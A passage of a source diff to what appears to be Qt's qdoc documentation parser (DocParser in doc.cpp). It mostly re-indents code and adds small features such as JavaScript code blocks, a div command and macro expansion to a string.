- location().warning(tr("Cannot use '\\%1' within '\\%2'")
- .arg(cmdName(cmd)).arg(cmdName(outer)));
+ location().warning(tr("Cannot use '\\%1' within '\\%2'")
+ .arg(cmdName(cmd)).arg(cmdName(outer)));
}
return ok;
}
@@ -1650,74 +1674,67 @@ bool DocParser::openCommand(int cmd)
bool DocParser::closeCommand(int endCmd)
{
if (endCmdFor(openedCommands.top()) == endCmd && openedCommands.size() > 1) {
- openedCommands.pop();
- return true;
+ openedCommands.pop();
+ return true;
}
else {
- bool contains = false;
- QStack<int> opened2 = openedCommands;
- while (opened2.size() > 1) {
- if (endCmdFor(opened2.top()) == endCmd) {
- contains = true;
- break;
- }
- opened2.pop();
- }
-
- if (contains) {
- while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) {
- location().warning(tr("Missing '\\%1' before '\\%2'")
- .arg(endCmdName(openedCommands.top()))
- .arg(cmdName(endCmd)));
- openedCommands.pop();
- }
- }
+ bool contains = false;
+ QStack<int> opened2 = openedCommands;
+ while (opened2.size() > 1) {
+ if (endCmdFor(opened2.top()) == endCmd) {
+ contains = true;
+ break;
+ }
+ opened2.pop();
+ }
+
+ if (contains) {
+ while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) {
+ location().warning(tr("Missing '\\%1' before '\\%2'")
+ .arg(endCmdName(openedCommands.top()))
+ .arg(cmdName(endCmd)));
+ openedCommands.pop();
+ }
+ }
else {
- location().warning(tr("Unexpected '\\%1'")
- .arg(cmdName(endCmd)));
- }
- return false;
+ location().warning(tr("Unexpected '\\%1'")
+ .arg(cmdName(endCmd)));
+ }
+ return false;
}
}
void DocParser::startSection(Doc::SectioningUnit unit, int cmd)
{
- leavePara();
+ leaveValueList();
if (currentSectioningUnit == Doc::Book) {
-#if 0
- // mws didn't think this was necessary.
- if (unit > Doc::Section1)
- location().warning(tr("Unexpected '\\%1' without '\\%2'")
- .arg(cmdName(cmd))
- .arg(cmdName(CMD_SECTION1)));
-#endif
- currentSectioningUnit = (Doc::SectioningUnit) (unit - 1);
- priv->constructExtra();
- priv->extra->sectioningUnit = currentSectioningUnit;
+ currentSectioningUnit = (Doc::SectioningUnit) (unit - 1);
+ priv->constructExtra();
+ priv->extra->sectioningUnit = currentSectioningUnit;
}
if (unit <= priv->extra->sectioningUnit) {
- location().warning(tr("Unexpected '\\%1' in this documentation")
- .arg(cmdName(cmd)));
+ location().warning(tr("Unexpected '\\%1' in this documentation")
+ .arg(cmdName(cmd)));
}
else if (unit - currentSectioningUnit > 1) {
- location().warning(tr("Unexpected '\\%1' at this point")
- .arg(cmdName(cmd)));
+ location().warning(tr("Unexpected '\\%1' at this point")
+ .arg(cmdName(cmd)));
}
else {
- if (currentSectioningUnit >= unit)
- endSection(unit, cmd);
+ if (currentSectioningUnit >= unit)
+ endSection(unit, cmd);
- int delta = unit - priv->extra->sectioningUnit;
- append(Atom::SectionLeft, QString::number(delta));
+ int delta = unit - priv->extra->sectioningUnit;
+ append(Atom::SectionLeft, QString::number(delta));
priv->constructExtra();
priv->extra->tableOfContents.append(priv->text.lastAtom());
priv->extra->tableOfContentsLevels.append(unit);
- enterPara(Atom::SectionHeadingLeft,
+ enterPara(Atom::SectionHeadingLeft,
Atom::SectionHeadingRight,
QString::number(delta));
- currentSectioningUnit = unit;
+ currentSectioningUnit = unit;
}
}
@@ -1726,20 +1743,20 @@ void DocParser::endSection(int unit, int endCmd)
leavePara();
if (unit < priv->extra->sectioningUnit) {
- location().warning(tr("Unexpected '\\%1' in this documentation")
- .arg(cmdName(endCmd)));
+ location().warning(tr("Unexpected '\\%1' in this documentation")
+ .arg(cmdName(endCmd)));
}
else if (unit > currentSectioningUnit) {
- location().warning(tr("Unexpected '\\%1' at this point")
- .arg(cmdName(endCmd)));
+ location().warning(tr("Unexpected '\\%1' at this point")
+ .arg(cmdName(endCmd)));
}
else {
- while (currentSectioningUnit >= unit) {
- int delta = currentSectioningUnit - priv->extra->sectioningUnit;
- append(Atom::SectionRight, QString::number(delta));
- currentSectioningUnit =
- (Doc::SectioningUnit) (currentSectioningUnit - 1);
- }
+ while (currentSectioningUnit >= unit) {
+ int delta = currentSectioningUnit - priv->extra->sectioningUnit;
+ append(Atom::SectionRight, QString::number(delta));
+ currentSectioningUnit =
+ (Doc::SectioningUnit) (currentSectioningUnit - 1);
+ }
}
}
@@ -1828,25 +1845,34 @@ void DocParser::appendChar(QChar ch)
void DocParser::appendWord(const QString &word)
{
if (priv->text.lastAtom()->type() != Atom::String) {
- append(Atom::String, word);
+ append(Atom::String, word);
}
else
- priv->text.lastAtom()->appendString(word);
+ priv->text.lastAtom()->appendString(word);
}
void DocParser::appendToCode(const QString& markedCode)
{
Atom::Type lastType = priv->text.lastAtom()->type();
#ifdef QDOC_QML
- if (lastType != Atom::Qml)
- append(Atom::Qml);
+ if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript)
+ append(Atom::Qml);
#else
if (lastType != Atom::Code)
- append(Atom::Code);
+ append(Atom::Code);
#endif
priv->text.lastAtom()->appendString(markedCode);
}
+void DocParser::appendToCode(const QString &markedCode, Atom::Type defaultType)
+{
+ Atom::Type lastType = priv->text.lastAtom()->type();
+ if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript)
+ append(defaultType, markedCode);
+ else
+ priv->text.lastAtom()->appendString(markedCode);
+}
+
void DocParser::startNewPara()
{
leavePara();
@@ -1860,47 +1886,44 @@ void DocParser::enterPara(Atom::Type leftType,
if (paraState == OutsidePara) {
if (priv->text.lastAtom()->type() != Atom::ListItemLeft)
leaveValueList();
- append(leftType, string);
- indexStartedPara = false;
- pendingParaLeftType = leftType;
- pendingParaRightType = rightType;
- pendingParaString = string;
- if (
-#if 0
- leftType == Atom::BriefLeft ||
-#endif
- leftType == Atom::SectionHeadingLeft) {
- paraState = InsideSingleLinePara;
- }
+ append(leftType, string);
+ indexStartedPara = false;
+ pendingParaLeftType = leftType;
+ pendingParaRightType = rightType;
+ pendingParaString = string;
+ if (
+ leftType == Atom::SectionHeadingLeft) {
+ paraState = InsideSingleLinePara;
+ }
else {
- paraState = InsideMultiLinePara;
- }
- skipSpacesOrOneEndl();
+ paraState = InsideMultiLinePara;
+ }
+ skipSpacesOrOneEndl();
}
}
void DocParser::leavePara()
{
if (paraState != OutsidePara) {
- if (!pendingFormats.isEmpty()) {
- location().warning(tr("Missing '}'"));
- pendingFormats.clear();
- }
-
- if (priv->text.lastAtom()->type() == pendingParaLeftType) {
- priv->text.stripLastAtom();
- }
+ if (!pendingFormats.isEmpty()) {
+ location().warning(tr("Missing '}'"));
+ pendingFormats.clear();
+ }
+
+ if (priv->text.lastAtom()->type() == pendingParaLeftType) {
+ priv->text.stripLastAtom();
+ }
else {
- if (priv->text.lastAtom()->type() == Atom::String &&
- priv->text.lastAtom()->string().endsWith(" ")) {
- priv->text.lastAtom()->chopString();
- }
- append(pendingParaRightType, pendingParaString);
- }
- paraState = OutsidePara;
- indexStartedPara = false;
- pendingParaRightType = Atom::Nop;
- pendingParaString = "";
+ if (priv->text.lastAtom()->type() == Atom::String &&
+ priv->text.lastAtom()->string().endsWith(" ")) {
+ priv->text.lastAtom()->chopString();
+ }
+ append(pendingParaRightType, pendingParaString);
+ }
+ paraState = OutsidePara;
+ indexStartedPara = false;
+ pendingParaRightType = Atom::Nop;
+ pendingParaString = "";
}
}
@@ -1908,13 +1931,13 @@ void DocParser::leaveValue()
{
leavePara();
if (openedLists.isEmpty()) {
- openedLists.push(OpenedList(OpenedList::Value));
- append(Atom::ListLeft, ATOM_LIST_VALUE);
+ openedLists.push(OpenedList(OpenedList::Value));
+ append(Atom::ListLeft, ATOM_LIST_VALUE);
}
else {
if (priv->text.lastAtom()->type() == Atom::Nop)
priv->text.stripLastAtom();
- append(Atom::ListItemRight, ATOM_LIST_VALUE);
+ append(Atom::ListItemRight, ATOM_LIST_VALUE);
}
}
@@ -1925,9 +1948,9 @@ void DocParser::leaveValueList()
(openedLists.top().style() == OpenedList::Value)) {
if (priv->text.lastAtom()->type() == Atom::Nop)
priv->text.stripLastAtom();
- append(Atom::ListItemRight, ATOM_LIST_VALUE);
- append(Atom::ListRight, ATOM_LIST_VALUE);
- openedLists.pop();
+ append(Atom::ListItemRight, ATOM_LIST_VALUE);
+ append(Atom::ListRight, ATOM_LIST_VALUE);
+ openedLists.pop();
}
}
@@ -1958,43 +1981,79 @@ void DocParser::expandMacro(const QString &name,
int numParams)
{
if (numParams == 0) {
- append(Atom::RawString, def);
+ append(Atom::RawString, def);
+ }
+ else {
+ QStringList args;
+ QString rawString;
+
+ for (int i = 0; i < numParams; i++) {
+ if (numParams == 1 || isLeftBraceAhead()) {
+ args << getArgument(true);
+ }
+ else {
+ location().warning(tr("Macro '\\%1' invoked with too few"
+ " arguments (expected %2, got %3)")
+ .arg(name).arg(numParams).arg(i));
+ break;
+ }
+ }
+
+ int j = 0;
+ while (j < def.size()) {
+ int paramNo;
+ if (((paramNo = def[j].unicode()) >= 1) &&
+ (paramNo <= numParams)) {
+ if (!rawString.isEmpty()) {
+ append(Atom::RawString, rawString);
+ rawString = "";
+ }
+ append(Atom::String, args[paramNo - 1]);
+ j += 1;
+ }
+ else {
+ rawString += def[j++];
+ }
+ }
+ if (!rawString.isEmpty())
+ append(Atom::RawString, rawString);
+ }
+}
+
+QString DocParser::expandMacroToString(const QString &name, const QString &def, int numParams)
+{
+ if (numParams == 0) {
+ return def;
}
else {
- QStringList args;
- QString rawString;
+ QStringList args;
+ QString rawString;
- for (int i = 0; i < numParams; i++) {
- if (numParams == 1 || isLeftBraceAhead()) {
- args << getArgument(true);
- }
+ for (int i = 0; i < numParams; i++) {
+ if (numParams == 1 || isLeftBraceAhead()) {
+ args << getArgument(true);
+ }
else {
- location().warning(tr("Macro '\\%1' invoked with too few"
- " arguments (expected %2, got %3)")
- .arg(name).arg(numParams).arg(i));
- break;
- }
- }
-
- int j = 0;
- while (j < def.size()) {
- int paramNo;
- if ((def[j] == '\\') && (j < def.size() - 1) &&
- ((paramNo = def[j + 1].digitValue()) >= 1) &&
+ location().warning(tr("Macro '\\%1' invoked with too few"
+ " arguments (expected %2, got %3)")
+ .arg(name).arg(numParams).arg(i));
+ break;
+ }
+ }
+
+ int j = 0;
+ while (j < def.size()) {
+ int paramNo;
+ if (((paramNo = def[j].unicode()) >= 1) &&
(paramNo <= numParams)) {
- if (!rawString.isEmpty()) {
- append(Atom::RawString, rawString);
- rawString = "";
- }
- append(Atom::String, args[paramNo - 1]);
- j += 2;
- }
+ rawString += args[paramNo - 1];
+ j += 1;
+ }
else {
- rawString += def[j++];
- }
- }
- if (!rawString.isEmpty())
- append(Atom::RawString, rawString);
+ rawString += def[j++];
+ }
+ }
+ return rawString;
}
}
@@ -2003,29 +2062,29 @@ Doc::SectioningUnit DocParser::getSectioningUnit()
QString name = getOptionalArgument();
if (name == "part") {
- return Doc::Part;
+ return Doc::Part;
}
else if (name == "chapter") {
- return Doc::Chapter;
+ return Doc::Chapter;
}
else if (name == "section1") {
- return Doc::Section1;
+ return Doc::Section1;
}
else if (name == "section2") {
- return Doc::Section2;
+ return Doc::Section2;
}
else if (name == "section3") {
- return Doc::Section3;
+ return Doc::Section3;
}
else if (name == "section4") {
- return Doc::Section4;
+ return Doc::Section4;
}
else if (name.isEmpty()) {
- return Doc::Section4;
+ return Doc::Section4;
}
else {
- location().warning(tr("Invalid sectioning unit '%1'").arg(name));
- return Doc::Book;
+ location().warning(tr("Invalid sectioning unit '%1'").arg(name));
+ return Doc::Book;
}
}
@@ -2042,115 +2101,115 @@ QString DocParser::getArgument(bool verbatim)
Typically, an argument ends at the next white-space. However,
braces can be used to group words:
- {a few words}
+ {a few words}
Also, opening and closing parentheses have to match. Thus,
- printf("%d\n", x)
+ printf("%d\n", x)
is an argument too, although it contains spaces. Finally,
trailing punctuation is not included in an argument, nor is 's.
*/
if (pos < (int) in.length() && in[pos] == '{') {
- pos++;
- while (pos < (int) in.length() && delimDepth >= 0) {
- switch (in[pos].unicode()) {
- case '{':
- delimDepth++;
- arg += "{";
- pos++;
- break;
- case '}':
- delimDepth--;
- if (delimDepth >= 0)
- arg += "}";
- pos++;
- break;
- case '\\':
- if (verbatim) {
- arg += in[pos];
- pos++;
- }
+ pos++;
+ while (pos < (int) in.length() && delimDepth >= 0) {
+ switch (in[pos].unicode()) {
+ case '{':
+ delimDepth++;
+ arg += "{";
+ pos++;
+ break;
+ case '}':
+ delimDepth--;
+ if (delimDepth >= 0)
+ arg += "}";
+ pos++;
+ break;
+ case '\\':
+ if (verbatim) {
+ arg += in[pos];
+ pos++;
+ }
else {
- pos++;
- if (pos < (int) in.length()) {
- if (in[pos].isLetterOrNumber())
- break;
- arg += in[pos];
- if (in[pos].isSpace()) {
- skipAllSpaces();
- }
+ pos++;
+ if (pos < (int) in.length()) {
+ if (in[pos].isLetterOrNumber())
+ break;
+ arg += in[pos];
+ if (in[pos].isSpace()) {
+ skipAllSpaces();
+ }
else {
- pos++;
- }
- }
- }
- break;
- default:
- arg += in[pos];
- pos++;
- }
- }
- if (delimDepth > 0)
- location().warning(tr("Missing '}'"));
+ pos++;
+ }
+ }
+ }
+ break;
+ default:
+ arg += in[pos];
+ pos++;
+ }
+ }
+ if (delimDepth > 0)
+ location().warning(tr("Missing '}'"));
}
else {
- while (pos < in.length() &&
+ while (pos < in.length() &&
((delimDepth > 0) ||
((delimDepth == 0) &&
!in[pos].isSpace()))) {
- switch (in[pos].unicode()) {
- case '(':
- case '[':
- case '{':
- delimDepth++;
- arg += in[pos];
- pos++;
- break;
- case ')':
- case ']':
- case '}':
- delimDepth--;
- if (pos == startPos || delimDepth >= 0) {
- arg += in[pos];
- pos++;
- }
- break;
- case '\\':
- if (verbatim) {
- arg += in[pos];
- pos++;
- }
+ switch (in[pos].unicode()) {
+ case '(':
+ case '[':
+ case '{':
+ delimDepth++;
+ arg += in[pos];
+ pos++;
+ break;
+ case ')':
+ case ']':
+ case '}':
+ delimDepth--;
+ if (pos == startPos || delimDepth >= 0) {
+ arg += in[pos];
+ pos++;
+ }
+ break;
+ case '\\':
+ if (verbatim) {
+ arg += in[pos];
+ pos++;
+ }
else {
- pos++;
- if (pos < (int) in.length()) {
- if (in[pos].isLetterOrNumber())
- break;
- arg += in[pos];
- if (in[pos].isSpace()) {
- skipAllSpaces();
- }
+ pos++;
+ if (pos < (int) in.length()) {
+ if (in[pos].isLetterOrNumber())
+ break;
+ arg += in[pos];
+ if (in[pos].isSpace()) {
+ skipAllSpaces();
+ }
else {
- pos++;
- }
- }
- }
- break;
- default:
- arg += in[pos];
- pos++;
- }
- }
- if ((arg.length() > 1) &&
+ pos++;
+ }
+ }
+ }
+ break;
+ default:
+ arg += in[pos];
+ pos++;
+ }
+ }
+ if ((arg.length() > 1) &&
(QString(".,:;!?").indexOf(in[pos - 1]) != -1) &&
!arg.endsWith("...")) {
- arg.truncate(arg.length() - 1);
- pos--;
- }
- if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") {
- arg.truncate(arg.length() - 2);
- pos -= 2;
- }
+ arg.truncate(arg.length() - 1);
+ pos--;
+ }
+ if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") {
+ arg.truncate(arg.length() - 2);
+ pos -= 2;
+ }
}
return arg.simplified();
}
@@ -2159,11 +2218,11 @@ QString DocParser::getOptionalArgument()
{
skipSpacesOrOneEndl();
if (pos + 1 < (int) in.length() && in[pos] == '\\' &&
- in[pos + 1].isLetterOrNumber()) {
- return "";
+ in[pos + 1].isLetterOrNumber()) {
+ return "";
}
else {
- return getArgument();
+ return getArgument();
}
}
@@ -2226,7 +2285,7 @@ QString DocParser::getMetaCommandArgument(const QString &cmdStr)
else if (in.at(pos) == ')')
--parenDepth;
- ++pos;
+ ++pos;
}
if (pos == in.size() && parenDepth > 0) {
pos = begin;
@@ -2246,12 +2305,12 @@ QString DocParser::getUntilEnd(int cmd)
int end = rx.indexIn(in, pos);
if (end == -1) {
- location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd)));
- pos = in.length();
+ location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd)));
+ pos = in.length();
}
else {
- t = in.mid(pos, end - pos);
- pos = end + rx.matchedLength();
+ t = in.mid(pos, end - pos);
+ pos = end + rx.matchedLength();
}
return t;
}
@@ -2263,8 +2322,9 @@ QString DocParser::getCode(int cmd, CodeMarker *marker)
if (indent < minIndent)
minIndent = indent;
code = unindent(minIndent, code);
- marker = CodeMarker::markerForCode(code);
- return marker->markedUpCode(code, 0, "");
+ if (!marker)
+ marker = CodeMarker::markerForCode(code);
+ return marker->markedUpCode(code, 0, location());
}
/*!
@@ -2273,12 +2333,6 @@ QString DocParser::getCode(int cmd, CodeMarker *marker)
QString DocParser::getUnmarkedCode(int cmd)
{
QString code = getUntilEnd(cmd);
-#if 0
- int indent = indentLevel(code);
- if (indent < minIndent)
- minIndent = indent;
- code = unindent(minIndent, code);
-#endif
return code;
}
@@ -2287,9 +2341,9 @@ bool DocParser::isBlankLine()
int i = pos;
while (i < len && in[i].isSpace()) {
- if (in[i] == '\n')
- return true;
- i++;
+ if (in[i] == '\n')
+ return true;
+ i++;
}
return false;
}
@@ -2300,10 +2354,10 @@ bool DocParser::isLeftBraceAhead()
int i = pos;
while (i < len && in[i].isSpace() && numEndl < 2) {
- // ### bug with '\\'
- if (in[i] == '\n')
- numEndl++;
- i++;
+ // ### bug with '\\'
+ if (in[i] == '\n')
+ numEndl++;
+ i++;
}
return numEndl < 2 && i < len && in[i] == '{';
}
@@ -2313,31 +2367,31 @@ void DocParser::skipSpacesOnLine()
while ((pos < in.length()) &&
in[pos].isSpace() &&
(in[pos].unicode() != '\n'))
- ++pos;
+ ++pos;
}
void DocParser::skipSpacesOrOneEndl()
{
int firstEndl = -1;
while (pos < (int) in.length() && in[pos].isSpace()) {
- QChar ch = in[pos];
- if (ch == '\n') {
- if (firstEndl == -1) {
- firstEndl = pos;
- }
+ QChar ch = in[pos];
+ if (ch == '\n') {
+ if (firstEndl == -1) {
+ firstEndl = pos;
+ }
else {
- pos = firstEndl;
- break;
- }
- }
- pos++;
+ pos = firstEndl;
+ break;
+ }
+ }
+ pos++;
}
}
void DocParser::skipAllSpaces()
{
while (pos < len && in[pos].isSpace())
- pos++;
+ pos++;
}
void DocParser::skipToNextPreprocessorCommand()
@@ -2348,62 +2402,66 @@ void DocParser::skipToNextPreprocessorCommand()
int end = rx.indexIn(in, pos + 1); // ### + 1 necessary?
if (end == -1)
- pos = in.length();
+ pos = in.length();
else
- pos = end;
+ pos = end;
}
int DocParser::endCmdFor(int cmd)
{
switch (cmd) {
case CMD_ABSTRACT:
- return CMD_ENDABSTRACT;
+ return CMD_ENDABSTRACT;
case CMD_BADCODE:
- return CMD_ENDCODE;
+ return CMD_ENDCODE;
case CMD_CHAPTER:
- return CMD_ENDCHAPTER;
+ return CMD_ENDCHAPTER;
case CMD_CODE:
- return CMD_ENDCODE;
+ return CMD_ENDCODE;
+ case CMD_DIV:
+ return CMD_ENDDIV;
#ifdef QDOC_QML
case CMD_QML:
- return CMD_ENDQML;
+ return CMD_ENDQML;
case CMD_QMLTEXT:
- return CMD_ENDQMLTEXT;
+ return CMD_ENDQMLTEXT;
+ case CMD_JS:
+ return CMD_ENDJS;
#endif
case CMD_FOOTNOTE:
- return CMD_ENDFOOTNOTE;
+ return CMD_ENDFOOTNOTE;
case CMD_LEGALESE:
return CMD_ENDLEGALESE;
case CMD_LINK:
return CMD_ENDLINK;
case CMD_LIST:
- return CMD_ENDLIST;
+ return CMD_ENDLIST;
case CMD_NEWCODE:
return CMD_ENDCODE;
case CMD_OLDCODE:
return CMD_NEWCODE;
case CMD_OMIT:
- return CMD_ENDOMIT;
+ return CMD_ENDOMIT;
case CMD_PART:
- return CMD_ENDPART;
+ return CMD_ENDPART;
case CMD_QUOTATION:
- return CMD_ENDQUOTATION;
+ return CMD_ENDQUOTATION;
case CMD_RAW:
return CMD_ENDRAW;
case CMD_SECTION1:
- return CMD_ENDSECTION1;
+ return CMD_ENDSECTION1;
case CMD_SECTION2:
- return CMD_ENDSECTION2;
+ return CMD_ENDSECTION2;
case CMD_SECTION3:
- return CMD_ENDSECTION3;
+ return CMD_ENDSECTION3;
case CMD_SECTION4:
- return CMD_ENDSECTION4;
+ return CMD_ENDSECTION4;
case CMD_SIDEBAR:
- return CMD_ENDSIDEBAR;
+ return CMD_ENDSIDEBAR;
case CMD_TABLE:
- return CMD_ENDTABLE;
+ return CMD_ENDTABLE;
default:
- return cmd;
+ return cmd;
}
}
@@ -2457,14 +2515,14 @@ int DocParser::indentLevel(const QString& str)
int column = 0;
for (int i = 0; i < (int) str.length(); i++) {
- if (str[i] == '\n') {
- column = 0;
- }
+ if (str[i] == '\n') {
+ column = 0;
+ }
else {
- if (str[i] != ' ' && column < minIndent)
- minIndent = column;
- column++;
- }
+ if (str[i] != ' ' && column < minIndent)
+ minIndent = column;
+ column++;
+ }
}
return minIndent;
}
@@ -2472,21 +2530,21 @@ int DocParser::indentLevel(const QString& str)
QString DocParser::unindent(int level, const QString& str)
{
if (level == 0)
- return str;
+ return str;
QString t;
int column = 0;
for (int i = 0; i < (int) str.length(); i++) {
if (str[i] == QLatin1Char('\n')) {
- t += '\n';
- column = 0;
- }
+ t += '\n';
+ column = 0;
+ }
else {
- if (column >= level)
- t += str[i];
- column++;
- }
+ if (column >= level)
+ t += str[i];
+ column++;
+ }
}
return t;
}
@@ -2524,15 +2582,15 @@ Doc::Doc(const Doc& doc)
Doc::~Doc()
{
if (priv && priv->deref())
- delete priv;
+ delete priv;
}
Doc &Doc::operator=(const Doc& doc)
{
if (doc.priv)
- doc.priv->ref();
+ doc.priv->ref();
if (priv && priv->deref())
- delete priv;
+ delete priv;
priv = doc.priv;
return *this;
}
@@ -2621,9 +2679,9 @@ const Text& Doc::body() const
return priv == 0 ? dummy : priv->text;
}
-Text Doc::briefText() const
+Text Doc::briefText(bool inclusive) const
{
- return body().subText(Atom::BriefLeft, Atom::BriefRight);
+ return body().subText(Atom::BriefLeft, Atom::BriefRight, 0, inclusive);
}
Text Doc::trimmedBriefText(const QString &className) const
@@ -2699,18 +2757,18 @@ Text Doc::trimmedBriefText(const QString &className) const
whats = w.join(" ");
if (whats.endsWith("."))
- whats.truncate(whats.length() - 1);
+ whats.truncate(whats.length() - 1);
if (whats.isEmpty()) {
- location().warning(
+ location().warning(
tr("Nonstandard wording in '\\%1' text for '%2' (expected more text)")
.arg(COMMAND_BRIEF).arg(className));
- standardWording = false;
+ standardWording = false;
}
else
- whats[0] = whats[0].toUpper();
+ whats[0] = whats[0].toUpper();
- // ### move this once \brief is abolished for properties
+ // ### move this once \brief is abolished for properties
if (standardWording)
resultText << whats;
}
@@ -2720,29 +2778,29 @@ Text Doc::trimmedBriefText(const QString &className) const
Text Doc::legaleseText() const
{
if (priv == 0 || !priv->hasLegalese)
- return Text();
+ return Text();
else
- return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight);
+ return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight);
}
const QString& Doc::baseName() const
{
static QString null;
if (priv == 0 || priv->extra == 0) {
- return null;
+ return null;
}
else {
- return priv->extra->baseName;
+ return priv->extra->baseName;
}
}
Doc::SectioningUnit Doc::granularity() const
{
if (priv == 0 || priv->extra == 0) {
- return DocPrivateExtra().granularity;
+ return DocPrivateExtra().granularity;
}
else {
- return priv->extra->granularity;
+ return priv->extra->granularity;
}
}
@@ -2838,80 +2896,80 @@ void Doc::initialize(const Config& config)
QSet<QString> commands = config.subVars(CONFIG_ALIAS);
QSet<QString>::ConstIterator c = commands.begin();
while (c != commands.end()) {
- QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c);
- if (reverseAliasMap.contains(alias)) {
- config.lastLocation().warning(tr("Command name '\\%1' cannot stand"
- " for both '\\%2' and '\\%3'")
- .arg(alias)
- .arg(reverseAliasMap[alias])
- .arg(*c));
- }
+ QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c);
+ if (reverseAliasMap.contains(alias)) {
+ config.lastLocation().warning(tr("Command name '\\%1' cannot stand"
+ " for both '\\%2' and '\\%3'")
+ .arg(alias)
+ .arg(reverseAliasMap[alias])
+ .arg(*c));
+ }
else {
- reverseAliasMap.insert(alias, *c);
- }
- aliasMap()->insert(*c, alias);
- ++c;
+ reverseAliasMap.insert(alias, *c);
+ }
+ aliasMap()->insert(*c, alias);
+ ++c;
}
int i = 0;
while (cmds[i].english) {
- cmds[i].alias = new QString(alias(cmds[i].english));
- cmdHash()->insert(*cmds[i].alias, cmds[i].no);
+ cmds[i].alias = new QString(alias(cmds[i].english));
+ cmdHash()->insert(*cmds[i].alias, cmds[i].no);
- if (cmds[i].no != i)
- Location::internalError(tr("command %1 missing").arg(i));
- i++;
+ if (cmds[i].no != i)
+ Location::internalError(tr("command %1 missing").arg(i));
+ i++;
}
QSet<QString> macroNames = config.subVars(CONFIG_MACRO);
QSet<QString>::ConstIterator n = macroNames.begin();
while (n != macroNames.end()) {
- QString macroDotName = CONFIG_MACRO + Config::dot + *n;
- Macro macro;
- macro.numParams = -1;
- macro.defaultDef = config.getString(macroDotName);
- if (!macro.defaultDef.isEmpty()) {
- macro.defaultDefLocation = config.lastLocation();
- macro.numParams = Config::numParams(macro.defaultDef);
- }
- bool silent = false;
-
- QSet<QString> formats = config.subVars(macroDotName);
- QSet<QString>::ConstIterator f = formats.begin();
- while (f != formats.end()) {
- QString def = config.getString(macroDotName + Config::dot + *f);
- if (!def.isEmpty()) {
- macro.otherDefs.insert(*f, def);
- int m = Config::numParams(macro.defaultDef);
- if (macro.numParams == -1) {
- macro.numParams = m;
- }
+ QString macroDotName = CONFIG_MACRO + Config::dot + *n;
+ Macro macro;
+ macro.numParams = -1;
+ macro.defaultDef = config.getString(macroDotName);
+ if (!macro.defaultDef.isEmpty()) {
+ macro.defaultDefLocation = config.lastLocation();
+ macro.numParams = Config::numParams(macro.defaultDef);
+ }
+ bool silent = false;
+
+ QSet<QString> formats = config.subVars(macroDotName);
+ QSet<QString>::ConstIterator f = formats.begin();
+ while (f != formats.end()) {
+ QString def = config.getString(macroDotName + Config::dot + *f);
+ if (!def.isEmpty()) {
+ macro.otherDefs.insert(*f, def);
+ int m = Config::numParams(def);
+ if (macro.numParams == -1) {
+ macro.numParams = m;
+ }
else if (macro.numParams != m) {
- if (!silent) {
- QString other = tr("default");
- if (macro.defaultDef.isEmpty())
- other = macro.otherDefs.begin().key();
- config.lastLocation().warning(tr("Macro '\\%1' takes"
- " inconsistent number"
- " of arguments (%2"
- " %3, %4 %5)")
- .arg(*n)
- .arg(*f)
- .arg(m)
- .arg(other)
- .arg(macro.numParams));
- silent = true;
- }
- if (macro.numParams < m)
- macro.numParams = m;
- }
- }
- ++f;
- }
-
- if (macro.numParams != -1)
- macroHash()->insert(*n, macro);
- ++n;
+ if (!silent) {
+ QString other = tr("default");
+ if (macro.defaultDef.isEmpty())
+ other = macro.otherDefs.begin().key();
+ config.lastLocation().warning(tr("Macro '\\%1' takes"
+ " inconsistent number"
+ " of arguments (%2"
+ " %3, %4 %5)")
+ .arg(*n)
+ .arg(*f)
+ .arg(m)
+ .arg(other)
+ .arg(macro.numParams));
+ silent = true;
+ }
+ if (macro.numParams < m)
+ macro.numParams = m;
+ }
+ }
+ ++f;
+ }
+
+ if (macro.numParams != -1)
+ macroHash()->insert(*n, macro);
+ ++n;
}
}
@@ -2951,27 +3009,27 @@ void Doc::trimCStyleComment(Location& location, QString& str)
int i;
for (i = 0; i < (int) str.length(); i++) {
- if (m.columnNo() == asterColumn) {
- if (str[i] != '*')
- break;
- cleaned += ' ';
- metAsterColumn = true;
- }
+ if (m.columnNo() == asterColumn) {
+ if (str[i] != '*')
+ break;
+ cleaned += ' ';
+ metAsterColumn = true;
+ }
else {
- if (str[i] == '\n') {
- if (!metAsterColumn)
- break;
- metAsterColumn = false;
- }
- cleaned += str[i];
- }
- m.advance(str[i]);
+ if (str[i] == '\n') {
+ if (!metAsterColumn)
+ break;
+ metAsterColumn = false;
+ }
+ cleaned += str[i];
+ }
+ m.advance(str[i]);
}
if (cleaned.length() == str.length())
- str = cleaned;
+ str = cleaned;
for (int i = 0; i < 3; i++)
- location.advance(str[i]);
+ location.advance(str[i]);
str = str.mid(3, str.length() - 5);
}
@@ -2987,26 +3045,26 @@ CodeMarker *Doc::quoteFromFile(const Location &location,
QString filePath = Config::findFile(location,
DocParser::exampleFiles,
DocParser::exampleDirs,
- fileName, userFriendlyFilePath);
+ fileName, userFriendlyFilePath);
if (filePath.isEmpty()) {
- location.warning(tr("Cannot find example file '%1'").arg(fileName));
+ location.warning(tr("Cannot find example file '%1'").arg(fileName));
}
else {
- QFile inFile(filePath);
- if (!inFile.open(QFile::ReadOnly)) {
- location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath));
- }
+ QFile inFile(filePath);
+ if (!inFile.open(QFile::ReadOnly)) {
+ location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath));
+ }
else {
- QTextStream inStream(&inFile);
- code = DocParser::untabifyEtc(inStream.readAll());
- }
+ QTextStream inStream(&inFile);
+ code = DocParser::untabifyEtc(inStream.readAll());
+ }
}
QString dirPath = QFileInfo(filePath).path();
CodeMarker *marker = CodeMarker::markerForFileName(fileName);
quoter.quoteFromFile(userFriendlyFilePath,
code,
- marker->markedUpCode(code, 0, dirPath));
+ marker->markedUpCode(code, 0, location));
return marker;
}
@@ -3043,13 +3101,6 @@ QString Doc::canonicalTitle(const QString &title)
result += QLatin1Char('-');
dashAppended = true;
}
-#if 0
- // This was screwing things up.
- else {
- result += title[i];
